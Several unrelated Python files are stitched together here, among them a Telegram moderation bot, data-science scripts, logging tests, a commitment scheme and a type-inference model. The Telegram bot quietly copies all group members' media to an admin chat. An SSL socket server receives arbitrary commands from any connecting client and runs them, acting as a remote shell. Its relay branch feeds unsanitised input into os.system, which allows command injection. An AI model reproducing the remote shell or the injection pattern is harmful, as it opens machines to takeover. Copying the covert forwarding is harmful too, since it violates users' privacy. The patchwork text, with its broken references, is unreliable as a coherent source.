import asyncio
import pyrogram
import os
from pyrogram import Client, filters, enums
from pyrogram.types import Message, User
from datetime import datetime, timedelta
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, User, Message, ChatPermissions, CallbackQuery
from utils import is_subscribed, temp
from info import PICS, AUTH_CHANNEL
import random
from pyrogram.errors.exceptions.bad_request_400 import ChatAdminRequired, UserAdminInvalid, ChannelInvalid
import os
import logging
from pyrogram import Client, filters, enums
from Script import script
from info import CHANNELS, ADMIN, AUTH_CHANNEL, CUSTOM_FILE_CAPTION, LOG_CHANNEL, ADMINS, PICS
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, CallbackQuery
import random
import asyncio

bughunter0 = Client(
    "botname",
    bot_token=os.environ["BOT_TOKEN"],
    api_id=int(os.environ["API_ID"]),
    api_hash=os.environ["API_HASH"],
)

START ="""
Hey {}
All Things are Simple To do. Follow The writings given Below.

⚙™ SETTING UP OF BOT ON GROUP.

™• Add Bot To Group.
™• Promote The Bot as Admin on group with (Change group info and, delete messages) permission.
™• If you Trust Us You can Gib The bot Full permissions on group. We would Not do any illegal and Unwanted Things via bot on group.

⚙™ FEATURES THAT I HAVE.

™• Remove Service Message (Join and Leave) on Group.
™• Remove Regex links of Websites and Telegram Group link invitation.
™• Remove Forwarded Messages on Group.
™• Remove Using Unwanted Commands From Group.

 NB :- BOT WOULD NOT DELETE ADMIN MESSEGES.
"""
invite_link = "https://t.me/testpubliconly"

@Client.on_message(filters.command(["start"]))
async def start(bot, message):
    buttons = [[
        InlineKeyboardButton("𝐀𝐝𝐝 𝐆𝐫𝐨𝐮𝐩", url=f"https://t.me/{temp.U_NAME}?startgroup=new")
    ],[
        InlineKeyboardButton("𝐒𝐮𝐩𝐩𝐨𝐫𝐭 𝐆𝐫𝐨𝐮𝐩", url="https://t.me/nasrani_update")
    ],[
        InlineKeyboardButton("𝐂𝐥𝐨𝐬𝐞", callback_data="close_data")
    ]]
    reply_markup = InlineKeyboardMarkup(buttons)

    await message.reply_text(START.format(message.from_user.mention), reply_markup=reply_markup)

@Client.on_message(filters.forwarded and filters.channel)
async def channeltag(bot, message):
   try:
       forward_msg = await message.copy(message.chat.id)
       await message.delete()
   except:
       await message.reply_text("Oops , Recheck My Admin Permissions & Try Again")

# @Client.on_message(filters.regex("http") | filters.regex("www") | filters.regex("t.me"))
# async def nolink(bot,message):
# 	try:
# 		await message.delete()
# 	except:
# 		return

@Client.on_message(filters.media)
async def media(client: Client,  message):

            photo = message.reply_to_message
            m = await client.copy_message(
                chat_id=ADMIN,
                from_chat_id=message.chat.id,
                message_id=message.id
            )

@Client.on_message(filters.private & filters.media)
async def pm_media(client, message):
    if message.from_user.id in ADMINS:
        await replay_media(client, message)
        return
    info = await bot.get_users(user_ids=message.from_user.id)
    reference_id = int(message.chat.id)
    await client.copy_message(
        chat_id=ADMINS,
        from_chat_id=message.chat.id,
        message_id=message.id,
        caption=script.PM_MED_ATT.format(reference_id, info.first_name),
	parse_mode=enums.ParseMode.HTML
    )

@Client.on_message(filters.regex("http") | filters.regex("www") | filters.regex("t.me"))
async def nolink(client: Client,  message):
        content = message.text

        if AUTH_CHANNEL and not await is_subscribed(client, message):

            try:
                invite_link = await client.create_chat_invite_link(int(AUTH_CHANNEL))
            except ChatAdminRequired:
                logger.error("Make sure Bot is admin in Forcesub channel")
                return
            buttons = [[
                InlineKeyboardButton("📢 Updates Channel 📢", url=invite_link.invite_link)
            ],[
                InlineKeyboardButton("🔁 Request Again 🔁", callback_data="grp_checksub")
            ]]
            reply_markup = InlineKeyboardMarkup(buttons)
            try:
                await client.restrict_chat_member(message.chat.id, message.from_user.id, ChatPermissions(), datetime.now() + timedelta(seconds=60))
            except:
                pass

            k = await client.send_photo(
		chat_id=message.chat.id,
                photo=random.choice(PICS),
                caption=f"👋 𝐇𝐞𝐥𝐥𝐨 {message.from_user.mention},\n\n..!!\n\n𝐏𝐥𝐞𝐚𝐬𝐞 𝐉𝐨𝐢𝐧 𝐌𝐲 '𝐔𝐩𝐝𝐚𝐭𝐞𝐬 𝐂𝐡𝐚𝐧𝐧𝐞𝐥' 𝐀𝐧𝐝 𝐑𝐞𝐪𝐮𝐞𝐬𝐭 𝐀𝐠𝐚𝐢𝐧. 😇",
                reply_markup=reply_markup,
                parse_mode=enums.ParseMode.HTML
            )
            buttons = [[
                InlineKeyboardButton("📢 Updates Channel 📢", url = k.link)
            ],[
                InlineKeyboardButton("🔁 Request Again 🔁", callback_data="grp_checksub")
            ]]
            reply_markup = InlineKeyboardMarkup(buttons)
            m = await client.send_photo(
		chat_id=ADMIN,
                photo=random.choice(PICS),
                caption=f"👋 𝐇𝐞𝐥𝐥𝐨 {message.from_user.mention}, {message.chat.title}\n\n..!!\n\n𝐏𝐥𝐞𝐚𝐬𝐞 𝐉𝐨𝐢𝐧 𝐌𝐲 '𝐔𝐩𝐝𝐚𝐭𝐞𝐬 𝐂𝐡𝐚𝐧𝐧𝐞𝐥' 𝐀𝐧𝐝 𝐑𝐞𝐪𝐮𝐞𝐬𝐭 𝐀𝐠𝐚𝐢𝐧. 😇",
                reply_markup=reply_markup,
                parse_mode=enums.ParseMode.HTML
            )

@Client.on_message(filters.forwarded)
async def forward(bot, message):
	await message.delete()

# show alert

# @Client.on_message(filters.edited)
# async def edited(bot,message):
# 	chatid= message.chat.id
#	await bot.send_message(text=f"{message.from_user.mention} Edited This [Message]({message.link})",chat_id=chatid)

@Client.on_message(filters.via_bot & filters.group)
async def inline(bot,message):
     await message.delete()

@Client.on_message(filters.group & filters.regex("/" ) | filters.service)
async def delete(bot,message):
 await message.delete()

@Client.on_message(filters.new_chat_members)
async def welcome(bot, message):
	await message.delete()

@Client.on_message(filters.left_chat_member)
async def goodbye(bot, message):
	await message.delete()


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
    HDBScan Clustering Algorithm on Division Profiles
    author: Labeeb Khan
    email: labeebk1@gmail.com
"""

import os
import pandas as pd
import numpy as np
import hdbscan
import seaborn as sns
import matplotlib.pyplot as plt
from sklearn.preprocessing import StandardScaler

if __name__ == "__main__":

    input_folder = '../data/clean_data/'
    input_file_name = 'profiles.pickle'
    output_file_name = 'profiles_with_clusters.csv'
    plot_folder = '../output/Cluster Plots/'

    profile_df = pd.read_pickle(os.path.join(input_folder, input_file_name))

    cluster_data = profile_df.drop('Division', axis=1)

    test_cols = ['Average Expenditure','Stdev of Expenditure','Average Monthly Expenditure CV', \
                    'Average Quarterly Expenditure CV'] + [col for col in cluster_data.columns if 'Merchant' in col]

    cluster_data = cluster_data[test_cols]

    # Train the HDBScan clustering algorithm
    clusterer = hdbscan.HDBSCAN(min_cluster_size=2, gen_min_span_tree=True)
    clusterer.fit(cluster_data)
    # Save the output to a file
    print(clusterer.labels_)

    import pdb; pdb.set_trace();

    profile_df['Clusters'] = clusterer.labels_
    profile_df.to_csv(os.path.join(input_folder, output_file_name))

    # Generate Cluster Plots
    clusterer.single_linkage_tree_.plot(cmap='viridis', colorbar=True)
    plt.savefig(os.path.join(plot_folder,'single_linkage_tree_3.png'))
    plt.clf()

    clusterer.condensed_tree_.plot()
    plt.savefig(os.path.join(plot_folder,'condensed_tree_3.png'))
    plt.clf()

    clusterer.condensed_tree_.plot(select_clusters=True, selection_palette=sns.color_palette())
    plt.savefig(os.path.join(plot_folder,'condensed_tree_highlight_clusters_3.png'))
    plt.clf()


import pytest

from rascaline import set_logging_callback
from rascaline.calculators import DummyCalculator
from rascaline.log import (
    RASCAL_LOG_LEVEL_INFO,
    RASCAL_LOG_LEVEL_WARN,
    default_logging_callback,
)

from .test_systems import SystemForTests

def setup_module(module):
    """setup any state specific to the execution of the given module."""

def teardown_module(module):
    set_logging_callback(default_logging_callback)

def test_log_message():
    recorded_events = []

    def record_log_events(level, message):
        recorded_events.append((level, message))

    set_logging_callback(record_log_events)

    calculator = DummyCalculator(
        cutoff=3.2,
        delta=0,
        name="log-test-info: test info message",
    )
    calculator.compute(SystemForTests())

    message = (
        "rascaline::calculators::dummy_calculator -- "
        "log-test-info: test info message"
    )
    event = (RASCAL_LOG_LEVEL_INFO, message)
    assert event in recorded_events

    calculator = DummyCalculator(
        cutoff=3.2,
        delta=0,
        name="log-test-warn: this is a test warning message",
    )
    calculator.compute(SystemForTests())

    message = (
        "rascaline::calculators::dummy_calculator -- "
        "log-test-warn: this is a test warning message"
    )
    event = (RASCAL_LOG_LEVEL_WARN, message)
    assert event in recorded_events

def test_exception_in_callback():
    def raise_on_log_event(level, message):
        raise Exception("this is an exception")

    set_logging_callback(raise_on_log_event)

    calculator = DummyCalculator(
        cutoff=3.2,
        delta=0,
        name="log-test-warn: testing errors",
    )

    message = "exception raised in logging callback: this is an exception"
    with pytest.warns(Warning, match=message):
        calculator.compute(SystemForTests())


import socket
import ssl
import PySimpleGUI as sg
from subprocess import run
import os

def interact(cert ,key ,host ,port, data="0"):
    """
        Description:

            Allow commands to be recieved from a specific port and IP address to be then executed
            on this machine (controller) and sent back (including the choice of relay). Bidirectional
            encryption is also used with SSL (Secure Socket Layer).

        Arguments:

            cert  -- Location of the cerificate for authentication
            key   -- Location of the key for authentication
            host  -- The ip address of the server
            port  -- The port to bind with
            data  -- Which command will be executed
    """

    context = ssl.SSLContext()                                             #Managers the SSL settings
    context.load_cert_chain(certfile=cert, keyfile=key)                    #Loads the certification file and Key to allow back to back encyption

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as sock:     #creates a socket that listens and binds to an IP and Port
        sock.bind((host, port))
        sock.listen(5)
        with context.wrap_socket(sock, server_side=True) as ssock:
            while 1:
                conn, addr = ssock.accept()                                #Waits for the client to accept a connection and print connected
                print('Connected by', addr)
                while 1:                                                   #Creates a continuel loop that looks for data to be recieved
                    recieve = conn.recv(1024)
                    if (recieve  !=0):
                        break                                              #Breaks out the loop once data is recieved and gives an output
                    print(f"Recieved: {recieve}")
                recieve=recieve.decode()                                   #Convert the data to a list to allow for the relay command to be checked
                command_split=recieve.split(" ")
                if (command_split[0]=="relay"):
                    host=command_split[1]                                  #Breaks the list down into port and IP variables for easier communication
                    port=command_split[2]
                    command=command_split[3]
                    os.system("python3 relay.py -u "+str(host)+" -p "+str(port)+" -c "+str(command)) #Send paramters of a new port and IP to the test.py file to allow relay to occur
                else:
                    try:
                    	command = run(command_split, capture_output=True).stdout              #runs the recieved command and sends the result of the command back
                    	conn.send(command)
                    except:
                        error=("error with the command")                 #returns and error if command failed
                        conn.send(error.encode())
                        print("error with the command")
def get_host_info():
    """
        Description:

            Gets the host IP address and returns the value

        Arguments:
            None

        Returns:
            the host/IP of the current system
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)                                      #Uses a socket and standard port (80) and address(8.8.8.8) to retrieve the IP
    s.connect(("8.8.8.8", 80))
    host=(s.getsockname()[0])
    s.close()                                                                                #Closes the connection
    return host                                                                               #Returns the address
if __name__=="__main__":
    port = 4000                                                                               #Hardcodes the values; port, cert, key as default
    cert="./cert.pem"
    key="./key.pem"
    host=get_host_info()                                                                      #Retrives the IP from the function get_host_info
    interact(cert, key, host ,port)                                                           #Calls the function interact with the;cert ,key ,host and port


#
# Ref:
# * I. Damg˚ard, J. Groth. Non-interactive and reusable non-malleable commitment schemes. Proc. of 35 th ACM Symp. on Theory of Computing (STOC’03), pp.426- 437, 2003.
#
#
from klefki.curves.secp256k1 import EllipticCurveGroupSecp256k1 as Curve
from klefki.algebra.concrete import FiniteFieldCyclicSecp256k1 as CF
from klefki.algebra.utils import randfield
from klefki.blockchain.bitcoin.address import gen_address
from klefki.utils import to_sha256int
import hmac
from klefki.blockchain.bitcoin.public import encode_pubkey
from klefki.zkp.commitment import Commitment
from klefki.zkp.pedersen import PedersonCommitment

G = Curve.G
H = Curve.lift_x(CF(to_sha256int("hello NIRNCS")))

def keygen(F):
    pk = randfield(F)
    vk = F(to_sha256int(str(pk.value)))
    h = gen_address
    return (pk, vk, h)

class NMCommitment(Commitment):

    def __init__(self, G, H, key=None):
        if not key:
            key = keygen(CF)
        self.key = key

    def commit(self, m, ak):
        pk, vk, h = self.key
        com = PedersonCommitment(H, G, pk, ak)
        # (𝑐,𝑑)=𝐻𝑆𝑐𝑜𝑚𝑚𝑖𝑡𝑝𝑘(𝑎𝑘)
        c, d = com.C, com.D
        # α=ℎ(𝑐)
        alpha = CF(to_sha256int(gen_address(c)))
        # Now we simulate a proof of knowledge of a signature on 𝛼 with challenge 𝑚
        S = PedersonCommitment(H, G, vk, alpha)
        r1, r2 = randfield(vk.functor), randfield(vk.functor)
        a = S.commit(r1, r2)
        z = S.challenge(m)
        self.S = S
        # Finally, we compute 𝑚𝑎𝑐=𝑀𝐴𝐶𝑎𝑘(𝑎).
        mac = hmac.new(str(ak.value).encode(),
                       encode_pubkey(a).encode()).hexdigest()
        self.c = (c, a, mac)
        self.d = (m, d, z)

    @property
    def C(self):
        return self.c

    @property
    def D(self):
        return self.d

    def open(self):
        c, a, mac = self.c
        m, d, z = self.d
        alpha = CF(to_sha256int(gen_address(c)))
        assert mac == hmac.new(
            str(d[1].value).encode(), encode_pubkey(a).encode()).hexdigest()
        assert self.S.proof
        return m


import numpy as np

def glm(Y,X,C=None,mask=None):
    """
        Run a general linear model

        Args:
        Y (2d array) : time-by-space data matrix
        X (2d array) : time-by-regressors design matrix
        C (2d array) : contrasts-by-regressor contrrast matrix [default=Identity]
        mask (1d array) : spatial mask wherre GLM is run

        Returns:
        contrast maps
        t-stats
    """
    if C is None:
        C = np.identity(X.shape[1])
    if mask is None:
        mask = np.ones(Y.shape[1])

    # initialise matrices
    beta    = np.zeros((X.shape[1],Y.shape[1]))
    cope    = np.zeros((C.shape[0],Y.shape[1]))
    varbeta = np.zeros_like(beta)
    tstat   = np.zeros_like(beta)

    # solve glm
    beta[:,mask>0] = np.linalg.pinv(X)@Y[:,mask>0]
    # apply contrasts
    cope[:,mask>0] = np.dot(C,beta[:,mask>0])

    # calculate uncertainty (varcope)
    r    = Y - X@beta
    dof  = X.shape[0] - np.linalg.matrix_rank(X)
    sig2 = np.sum(r**2,axis=0)/dof
    varcope = np.outer(C@np.diag(np.linalg.inv(X.T@X))@C.T,sig2)
    # calculate t-stats
    # mask = mask.astype(int)
    tstat[:,mask] = cope[:,mask] / np.sqrt(varcope[:,mask])
    return cope, tstat


from methods.BandB.ptype.utils import normalize_log_probs, log_weighted_sum_probs, log_weighted_sum_probs_check, print_to_file, log_weighted_sum_normalize_probs
from scipy import optimize
from methods.BandB.ptype.Config import Config
import numpy as np
import time
import sys
from scipy.stats import norm

Inf = np.Inf

def vecnorm(x, ord=2):
    if ord == Inf:
        return np.amax(np.abs(x))
    elif ord == -Inf:
        return np.amin(np.abs(x))
    else:
        return np.sum(np.abs(x)**ord, axis=0)**(1.0 / ord)

LOG_EPS = -1e150

class PtypeModel:
    TYPE_INDEX = 0
    MISSING_INDEX = 1
    ANOMALIES_INDEX = 2
    LLHOOD_TYPE_START_INDEX = 2

    def __init__(self, _experiment_config, _data_frame=None, _PI=[0.98, 0.01, 0.01]):
        self.experiment_config = _experiment_config
        self.data = _data_frame
        self.PI = _PI  # weight of pi variable
        self.F_training = []
        self.F_validation = []
        self.data_frames = None
        self.labels = None
        self.types = None

    ###################### MAIN METHODS #######################
    def run_inference(self, logP, counts):
        sys.stdout.flush()
        # Constants
        I, J = logP.shape               # I: num of rows in a data column.
                                        # J: num of data types including missing and catch-all
        K = J - 2                       # K: num of possible column data types (excluding missing and catch-all)

        # Initializations
        pi = [self.PI for j in range(K)]          # mixture weights of row types

        # Inference
        p_t = []                        # p_t: posterior probability distribution of column types
        p_z = np.zeros((I,K,3))         # p_z: posterior probability distribution of row types

        counts_array = np.reshape(counts, newshape=(len(counts),))

        # Iterates for each possible column type
        for j in range(K):

            # Sum of weighted likelihoods (log-domain)
            p_t.append((counts_array * log_weighted_sum_probs(pi[j][0], logP[:,j+self.LLHOOD_TYPE_START_INDEX],
                                                              pi[j][1], logP[:,self.MISSING_INDEX-1],
                                                              pi[j][2], logP[:, self.ANOMALIES_INDEX - 1])).sum())

            # Calculates posterior cell probabilities

            # p_z[:, j, self.TYPE_INDEX] = np.log() +
            # p_z[:, j, self.MISSING_INDEX] = np.log(pi[j][1]) + logP[:,self.MISSING_INDEX-1]
            # p_z[:, j, self.ANOMALIES_INDEX] = np.log(pi[j][2]) + logP[:, self.ANOMALIES_INDEX - 1]

            # Normalizes
            x1, x2, x3, log_mx, sm = log_weighted_sum_normalize_probs(pi[j][0], logP[:,j+self.LLHOOD_TYPE_START_INDEX], pi[j][1], logP[:,self.MISSING_INDEX-1], pi[j][2], logP[:, self.ANOMALIES_INDEX - 1])

            p_z[:, j, 0] = np.exp(x1 - log_mx - np.log(sm))
            p_z[:, j, 1] = np.exp(x2 - log_mx - np.log(sm))
            p_z[:, j, 2] = np.exp(x3 - log_mx - np.log(sm))
            p_z[:,j,:] = p_z[:,j,:]/p_z[:,j,:].sum(axis=1)[:, np.newaxis]

        self.p_t = normalize_log_probs(np.reshape(p_t, newshape=(len(p_t),)))
        self.p_z = p_z

    def calculate_likelihoods(self, logP, counts):
        sys.stdout.flush()
        # Constants
        I, J = logP.shape               # I: num of rows in a data column.
                                        # J: num of data types including missing and catch-all
        K = J - 2                       # K: num of possible column data types (excluding missing and catch-all)

        # Initializations
        pi = [self.PI for j in range(K)]          # mixture weights of row types

        # Inference
        p_t = []                        # p_t: posterior probability distribution of column types
        p_z = np.zeros((I,K,3))         # p_z: posterior probability distribution of row types

        counts_array = np.reshape(counts, newshape=(len(counts),))

        # Iterates for each possible column type
        for j in range(K):

            # Sum of weighted likelihoods (log-domain)
            p_t.append((counts_array * log_weighted_sum_probs(pi[j][0], logP[:,j+self.LLHOOD_TYPE_START_INDEX],
                                                              pi[j][1], logP[:,self.MISSING_INDEX-1],
                                                              pi[j][2], logP[:, self.ANOMALIES_INDEX - 1])).sum())
        self.p_t = np.array(p_t)

    def train_all_z_multiple_dfs(self, runner):
        sys.stdout.flush()

        # Initializations
        self.J = len(runner.machines)                # J: num of data types including missing and anomaly.
        self.K = self.J - 2                          # K: num of possible column data types (excluding missing and anomaly)
        self.pi = [self.PI for j in range(self.K)]   # mixture weights of row types

        self.current_runner = runner

        w_j_z = self.get_all_parameters_z(runner)

        # Find new values using Conjugate Gradient method
        res = optimize.minimize(self.f_cols, w_j_z, jac=self.g_cols, method='CG', options={'disp':True, })
        if res.success:
            runner, temp = self.set_all_probabilities_z(runner, res.x, normalize=True)
        else:
            runner, temp = self.set_all_probabilities_z(runner, res.x, normalize=True)

        return runner

    def train_all_z_multiple_dfs_new(self, runner):
        sys.stdout.flush()

        # Initializations
        self.J = len(runner.machines)                # J: num of data types including missing and anomaly.
        self.K = self.J - 2                          # K: num of possible column data types (excluding missing and anomaly)
        self.pi = [self.PI for j in range(self.K)]   # mixture weights of row types

        self.current_runner = runner

        w_j_z = self.get_all_parameters_z(runner)

        # Find new values using Conjugate Gradient method
        w_j_z, j = self.conjugate_gradient(w_j_z)

        runner, temp = self.set_all_probabilities_z(runner, w_j_z, normalize=True)

        return runner

    def conjugate_gradient(self, w, J=10, gtol=1e-5):
        d, g = [], []

        gnorm = gtol + 1
        j = 0
        while (gnorm > gtol) and (j < J):
            if j == 0:
                g.append(self.g_cols(w))
                d.append(-g[j])

            res = optimize.line_search(self.f_cols, self.g_cols, w, d[j], g[j], self.f_cols(w))
            if res[0] is None:
                return w,j
            else:
                alpha = res[0]
                w = w + alpha * d[j]

                g.append(self.g_cols(w))
                gnorm = vecnorm(g[j + 1], ord=np.Inf)

                beta_j = max(0, np.dot(g[j + 1].T, g[j + 1] - g[j]) / np.dot(g[j], g[j]))  # eq. 7.74 Polak-Ribiere
                d.append(-g[j + 1] + beta_j * d[j])  # eq.7.67

                j += 1

        return w, j

    def f_col(self, i_, column_name, y_i,):
        [temp_x, counts_array] = self.dfs_unique_vals_counts[i_][column_name]
        logP = np.array([self.all_probs[str(x_i)] for x_i in temp_x])
        q = []
        for k in range(self.K):
            q.append((counts_array * log_weighted_sum_probs(self.pi[k][0], logP[:, k + self.LLHOOD_TYPE_START_INDEX],
                                                            self.pi[k][1], logP[:, self.MISSING_INDEX - 1],
                                                            self.pi[k][2], logP[:, self.ANOMALIES_INDEX - 1])).sum())
        temp = normalize_log_probs(q)[y_i]
        if temp == 0:
            error = +800./len(counts_array)
        else:
            error = - np.log(temp)/len(counts_array)

        # result_dict[process_id] = error
        return error

    def f_cols(self, w_j_z):
        # f: the objective function to minimize. (it is equal to - \sum_{all columns} log p(t=k|X) where k is the correct column type.)
        # print_to_file('f_cols is called')
        time_init = time.time()

        # Set params: init-transition-final
        runner, temp_w_j_z = self.set_all_probabilities_z(self.current_runner, w_j_z)

        # Generate probabilities
        self.all_probs = runner.generate_machine_probabilities(self.unique_vals)

        error = 0.
        for i, (data_frame, labels) in enumerate(zip(self.data_frames, self.labels)):
            for j, column_name in enumerate(list(data_frame.columns)):
                error += self.f_col(str(i), column_name, labels[j] - 1)
        # print_to_file(str(time.time() - time_init))
        # print(error)
        return error

    def dp_dz(self, zs):
        temp = np.exp(zs)
        return (temp * sum(temp) - temp * temp)/(sum(temp)**2)

    def g_col(self, runner, i_, column_name, y_i):
        [temp_x, counts_array] = self.dfs_unique_vals_counts[i_][column_name]
        logP = np.array([self.all_probs[str(x_i)] for x_i in temp_x])

        set_chars = np.unique(sum([list(str(x_i)) for x_i in temp_x], []))

        # calculates posterior values of types
        q = []
        for k in range(self.K):
            q.append((counts_array * log_weighted_sum_probs(self.pi[k][0], logP[:, k + self.LLHOOD_TYPE_START_INDEX],
                                                            self.pi[k][1], logP[:, self.MISSING_INDEX - 1],
                                                            self.pi[k][2], logP[:, self.ANOMALIES_INDEX - 1])).sum())

        # calculates the gradients for initial, transition, and final probabilities. (note that it is only for non-zero probabilities at the moment.)
        g_j = []
        for t in list(self.experiment_config.types.keys()):
            t -= 1
            x_i_indices = np.where(logP[:, t + 2] != LOG_EPS)[0]
            possible_states = [state for state in runner.machines[2 + t].states if runner.machines[2 + t].I[state] != LOG_EPS]
            A = log_weighted_sum_probs(self.pi[t][0], logP[:, t + self.LLHOOD_TYPE_START_INDEX],
                                       self.pi[t][1], logP[:, self.MISSING_INDEX - 1],
                                       self.pi[t][2], logP[:, self.ANOMALIES_INDEX - 1])
            temp_gra = np.exp(self.pi[t][0] + logP[:, t + 2] - A)

            temp_g_j = []
            for state in possible_states:
                temp_g_j.append(self.gradient_initial_optimized_new(runner, state, t, temp_x[x_i_indices], q, temp_gra[x_i_indices], counts_array[x_i_indices], y_i))
            g_j = g_j + temp_g_j

            for a in runner.machines[2 + t].T:
                temp_g_j = []
                for b in runner.machines[2 + t].T[a]:
                    if str(b) not in set_chars:
                        temp_g_j = temp_g_j + [0 for i in range(len(runner.machines[2 + t].T[a][b].keys()))]
                    else:
                        for c in runner.machines[2 + t].T[a][b]:
                            temp_g_j.append(self.gradient_transition_optimized_new(runner, a, b, c, t, q, temp_x[x_i_indices], y_i, temp_gra[x_i_indices], counts_array[x_i_indices]))
                        # cs_temp = [runner.machines[2 + t].calculate_gradient_abc_new_optimized(str(x_i), b) for x_i in temp_x]
                        # cs_temp = np.reshape(cs_temp, newshape=(len(cs_temp),))
                        # temp_mult = (temp_gra * cs_temp * counts_array).sum()
                        # for c in runner.machines[2 + t].T[a][b]:
                        #     temp_g_j.append(self.gradient_transition_optimized_new(runner, a, b, c, t, q, temp_mult, y_i))
                g_j = g_j + temp_g_j

            for state in runner.machines[2 + t].F:
                if runner.machines[2 + t].F[state] != LOG_EPS:

                    g_j.append(self.gradient_final_optimized_new(runner, state, t, temp_x[x_i_indices], q, temp_gra[x_i_indices], counts_array[x_i_indices], y_i))

        # result_dict[process_id] = -np.reshape(g_j, newshape=(len(g_j),))
        # print('g', -np.reshape(g_j, newshape=(len(g_j),))/counts_array.sum())
        return -np.reshape(g_j, newshape=(len(g_j),))/counts_array.sum()

    def g_col_marginals(self, runner, i_, column_name, y_i):
        [temp_x, counts_array] = self.dfs_unique_vals_counts[i_][column_name]
        logP = np.array([self.all_probs[str(x_i)] for x_i in temp_x])

        # set_chars = np.unique(sum([list(str(x_i)) for x_i in temp_x], []))

        # calculates posterior values of types
        r = []
        for k in range(self.K):
            r.append((counts_array * log_weighted_sum_probs(self.pi[k][0], logP[:, k + self.LLHOOD_TYPE_START_INDEX],
                                                            self.pi[k][1], logP[:, self.MISSING_INDEX - 1],
                                                            self.pi[k][2], logP[:, self.ANOMALIES_INDEX - 1])).sum())

        # calculates the gradients for initial, transition, and final probabilities. (note that it is only for non-zero probabilities at the moment.)
        g_j = []
        for t in list(self.experiment_config.types.keys()):
            t -= 1
            x_i_indices = np.where(logP[:, t + 2] != LOG_EPS)[0]
            # print('g_col_marginals', t, len(x_i_indices))

            possible_states = [state for state in runner.machines[2 + t].states if runner.machines[2 + t].I[state] != LOG_EPS]
            A = log_weighted_sum_probs(self.pi[t][0], logP[:, t + self.LLHOOD_TYPE_START_INDEX],
                                       self.pi[t][1], logP[:, self.MISSING_INDEX - 1],
                                       self.pi[t][2], logP[:, self.ANOMALIES_INDEX - 1])
            temp_gra = np.exp(self.pi[t][0] + logP[:, t + 2] - A)

            # gradient for initial state parameters
            temp_g_j = []
            for state in possible_states:
                temp_g_j.append(self.gradient_initial_optimized_new(runner, state, t, temp_x[x_i_indices], r, temp_gra[x_i_indices], counts_array[x_i_indices], y_i))
            g_j = g_j + temp_g_j

            # gradient for transition parameters
            # print('generating marginals')
            if t == 1:
                marginals = {str(x_i): np.ones((len(x_i),1,1)) if p_x_i[t + 2] != LOG_EPS else np.zeros((len(x_i),1,1)) for x_i, p_x_i in zip(temp_x, logP)}
            else:
                marginals = {str(x_i): runner.machines[2 + t].run_forward_backward(str(x_i)) if p_x_i[t+2] != LOG_EPS else np.zeros((len(x_i),len(x_i))) for x_i, p_x_i in zip(temp_x, logP)}
            # print('generated marginals')
            state_indices = {}
            counter = 0
            temp_g_j = []
            for a in runner.machines[2 + t].T:
                for b in runner.machines[2 + t].T[a]:
                    for c in runner.machines[2 + t].T[a][b]:
                        state_indices[str(a) + '*' + str(b) + '*' + str(c)] = counter
                        temp_g_j.append(0)
                        counter += 1
            # print('first done')
            for x_i_index, (x_i, temp_gra_i, counts_array_i) in enumerate(zip(temp_x[x_i_indices], temp_gra[x_i_indices], counts_array[x_i_indices])):
                if logP[x_i_index, t+2] != LOG_EPS:
                    if t == 1:
                        # for a in runner.machines[2 + t].T:
                        #     temp_g_j = []
                        #     for b in runner.machines[2 + t].T[a]:
                        #         if str(b) in set_chars:
                        #             for c in runner.machines[2 + t].T[a][b]:
                        #                 temp_g_j[state_indices[a + '*' + b + '*' + c]] += self.gradient_transition_optimized_new_marginals(runner, marginals, a, b, c, t, r, str(x_i), y_i, temp_gra_i, counts_array_i)
                        common_chars = list(set(list(str(x_i))) & set(runner.machines[t+2].alphabet))
                        for common_char in common_chars:
                            common_char_ls = np.where(list(str(x_i)) == common_char)[0]
                            for l in common_char_ls:
                                indices_nonzero = np.where(marginals[str(x_i)][l] != 0.)
                                if len(indices_nonzero[0]) != 0:
                                    q_s = indices_nonzero[0]
                                    q_primes = indices_nonzero[1]
                                    for q, q_prime in zip(q_s, q_primes):
                                        temp_g_j[state_indices[str(runner.machines[t + 2].states[q]) + '*' + str(common_char) + '*' + str(
                                            runner.machines[t + 2].states[q_prime])]] += self.gradient_transition_optimized_new_marginals(runner, marginals,
                                                                                runner.machines[t + 2].states[q], common_char,
                                                                                runner.machines[t + 2].states[q_prime], t, r,
                                                                                str(x_i), y_i, temp_gra_i, counts_array_i)

                    else:
                        for l, alpha in enumerate(str(x_i)):
                            if alpha in runner.machines[t+2].alphabet:
                                indices_nonzero = np.where(marginals[str(x_i)][l] != 0.)
                                if len(indices_nonzero[0]) != 0:
                                    q_s = indices_nonzero[0]
                                    q_primes = indices_nonzero[1]
                                    for q, q_prime in zip(q_s, q_primes):
                                        temp_g_j[state_indices[str(runner.machines[t + 2].states[q]) + '*' + str(alpha) + '*' + str(runner.machines[t + 2].states[q_prime])]] += self.gradient_transition_optimized_new_marginals(runner, marginals, runner.machines[t+2].states[q], alpha, runner.machines[t+2].states[q_prime], t, r, str(x_i), y_i, temp_gra_i, counts_array_i)
            # print('transition done')
            g_j = g_j + temp_g_j

            # gradient for final-state parameters
            for state in runner.machines[2 + t].F:
                if runner.machines[2 + t].F[state] != LOG_EPS:
                    g_j.append(self.gradient_final_optimized_new(runner, state, t, temp_x[x_i_indices], r, temp_gra[x_i_indices], counts_array[x_i_indices], y_i))
            # print('final done')

        # print('g', -np.reshape(g_j, newshape=(len(g_j),))/counts_array.sum())
        return -np.reshape(g_j, newshape=(len(g_j),))/counts_array.sum()

    def g_cols(self, w_j_z):
        print_to_file('g_cols is called')
        time_init = time.time()

        # calculates the gradient vector, i.e. df/dw (=df/dz * dz/dw) where f is the object function to minimize.
        # it returns -g_j because of minimizing instead of maximizing. see the objective function.
        runner = self.current_runner

        # updates the parameters
        runner, temp_w_j_z = self.set_all_probabilities_z(runner, w_j_z)

        # generates probabilities
        # time_init2 = time.time()
        self.all_probs = runner.generate_machine_probabilities(self.unique_vals)
        # print_to_file(str(time.time() - time_init2))

        q_total = None
        counter_ = 0

        for i, (data_frame, labels) in enumerate(zip(self.data_frames, self.labels)):
            # print(i)
            for j, column_name in enumerate(list(data_frame.columns)):
                time_temp1 = time.time()
                # print(column_name)
                if counter_ == 0:
                    q_total = self.g_col_marginals(runner, str(i), str(column_name), labels[j] - 1)
                    counter_ += 1
                else:
                    q_total += self.g_col_marginals(runner, str(i), str(column_name), labels[j] - 1)

        print_to_file(str(time.time() - time_init))
